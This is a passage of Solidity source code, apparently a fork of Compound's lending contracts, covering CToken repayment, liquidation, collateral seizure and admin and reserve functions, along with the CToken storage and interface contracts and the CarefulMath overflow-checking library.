* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
/* Fail if repayBorrow not allowed */
uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0);
}
/* If repayAmount == -1, repayAmount = accountBorrows */
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED");
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED");
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrow event */
emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint(Error.NO_ERROR), vars.actualRepayAmount);
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
}
error = cTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral);
}
/**
* @notice The liquidator liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param liquidator The address repaying the borrow and seizing collateral
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) {
/* Fail if liquidate not allowed */
uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
}
/* Verify cTokenCollateral market's block number equals current block number */
if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint(-1)) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayBorrow fails */
(uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount);
require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
uint seizeError;
if (address(cTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrow event */
emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens);
/* We call the defense hook */
comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint(Error.NO_ERROR), actualRepayAmount);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another cToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(address liquidator, address borrower, uint seizeTokens) external override nonReentrant returns (uint) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken.
* Its absolutely critical to use msg.sender as the seizer cToken and not a parameter.
* @param seizerToken The contract seizing the collateral (i.e. borrowed cToken)
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) {
/* Fail if seize not allowed */
uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
}
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
/*
* We calculate the new borrower and liquidator token balances, failing on underflow/overflow:
* borrowerTokensNew = accountTokens[borrower] - seizeTokens
* liquidatorTokensNew = accountTokens[liquidator] + seizeTokens
*/
(mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
}
(mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
/* Emit a Transfer event */
emit Transfer(borrower, liquidator, seizeTokens);
/* We call the defense hook */
comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);
return uint(Error.NO_ERROR);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external override returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external override returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets a new comptroller for the market
* @dev Admin function to set a new comptroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setComptroller(ComptrollerInterface newComptroller) public override returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
ComptrollerInterface oldComptroller = comptroller;
// Ensure invoke comptroller.isComptroller() returns true
require(newComptroller.isComptroller(), "marker method returned false");
// Set market's comptroller to newComptroller
comptroller = newComptroller;
// Emit NewComptroller(oldComptroller, newComptroller)
emit NewComptroller(oldComptroller, newComptroller);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint newReserveFactorMantissa) external override nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
/**
* @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
* @dev Admin function to set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
// Verify market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
// Check newReserveFactor ≤ maxReserveFactor
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Accrues interest and reduces reserves by transferring from msg.sender
* @param addAmount Amount of addition to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
(error, ) = _addReservesFresh(addAmount);
return error;
}
/**
* @notice Add reserves by transferring from caller
* @dev Requires fresh interest accrual
* @param addAmount Amount of addition to reserves
* @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
*/
function _addReservesFresh(uint addAmount) internal returns (uint, uint) {
// totalReserves + actualAddAmount
uint totalReservesNew;
uint actualAddAmount;
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the caller and the addAmount
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken holds an additional addAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
actualAddAmount = doTransferIn(msg.sender, addAmount);
totalReservesNew = totalReserves + actualAddAmount;
/* Revert on overflow */
require(totalReservesNew >= totalReserves, "add reserves unexpected overflow");
// Store reserves[n+1] = reserves[n] + actualAddAmount
totalReserves = totalReservesNew;
/* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
/* Return (NO_ERROR, actualAddAmount) */
return (uint(Error.NO_ERROR), actualAddAmount);
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint reduceAmount) external override nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
return _reduceReservesFresh(reduceAmount);
}
/**
* @notice Reduces reserves by transferring to admin
* @dev Requires fresh interest accrual
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
// totalReserves - reduceAmount
uint totalReservesNew;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
// Fail gracefully if protocol has insufficient underlying cash
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
// Check reduceAmount ≤ reserves[n] (totalReserves)
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
totalReservesNew = totalReserves - reduceAmount;
// We checked reduceAmount <= totalReserves above, so this should never revert.
require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
// Store reserves[n+1] = reserves[n] - reduceAmount
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
doTransferOut(admin, reduceAmount);
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public override returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
// _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
return _setInterestRateModelFresh(newInterestRateModel);
}
/**
* @notice updates the interest rate model (*requires fresh interest accrual)
* @dev Admin function to update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
// Used to store old model for use in the event that is emitted on success
InterestRateModel oldInterestRateModel;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
// Track the market's current interest rate model
oldInterestRateModel = interestRateModel;
// Ensure invoke newInterestRateModel.isInterestRateModel() returns true
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// Set the interest rate model to newInterestRateModel
interestRateModel = newInterestRateModel;
// Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel)
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint(Error.NO_ERROR);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view virtual returns (uint);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(address from, uint amount) internal virtual returns (uint);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(address payable to, uint amount) internal virtual;
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ComptrollerInterface.sol";
import "./InterestRateModel.sol";
contract CTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / block)
*/
uint internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-cToken operations
*/
ComptrollerInterface public comptroller;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0)
*/
uint internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint public reserveFactorMantissa;
/**
* @notice Block number that interest was last accrued at
*/
uint public accrualBlockNumber;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping (address => uint) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping (address => mapping (address => uint)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
}
abstract contract CTokenInterface is CTokenStorage {
/**
* @notice Indicator that this is a CToken contract (for inspection)
*/
bool public constant isCToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint mintAmount, uint mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when comptroller is changed
*/
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/**
* @notice Failure event
*/
event Failure(uint error, uint info, uint detail);
/*** User Interface ***/
function transfer(address dst, uint amount) external virtual returns (bool);
function transferFrom(address src, address dst, uint amount) external virtual returns (bool);
function approve(address spender, uint amount) external virtual returns (bool);
function allowance(address owner, address spender) external view virtual returns (uint);
function balanceOf(address owner) external view virtual returns (uint);
function balanceOfUnderlying(address owner) external virtual returns (uint);
function getAccountSnapshot(address account) external view virtual returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view virtual returns (uint);
function supplyRatePerBlock() external view virtual returns (uint);
function totalBorrowsCurrent() external virtual returns (uint);
function borrowBalanceCurrent(address account) external virtual returns (uint);
function borrowBalanceStored(address account) public view virtual returns (uint);
function exchangeRateCurrent() public virtual returns (uint);
function exchangeRateStored() public view virtual returns (uint);
function getCash() external view virtual returns (uint);
function accrueInterest() public virtual returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external virtual returns (uint);
function _acceptAdmin() external virtual returns (uint);
function _setComptroller(ComptrollerInterface newComptroller) public virtual returns (uint);
function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint);
function _reduceReserves(uint reduceAmount) external virtual returns (uint);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint);
}
contract CErc20Storage {
/**
* @notice Underlying asset for this CToken
*/
address public underlying;
}
abstract contract CErc20Interface is CErc20Storage {
/*** User Interface ***/
function mint(uint mintAmount) external virtual returns (uint);
function redeem(uint redeemTokens) external virtual returns (uint);
function redeemUnderlying(uint redeemAmount) external virtual returns (uint);
function borrow(uint borrowAmount) external virtual returns (uint);
function repayBorrow(uint repayAmount) external virtual returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external virtual returns (uint);
/*** Admin Functions ***/
function _addReserves(uint addAmount) external virtual returns (uint);
}
contract CDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
abstract contract CDelegatorInterface is CDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public virtual;
}
abstract contract CDelegateInterface is CDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public virtual;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public virtual;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Careful Math
* @author Compound
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
import "./ErrorReporter.sol";
import "./Exponential.sol";
import "./PriceOracle.sol";
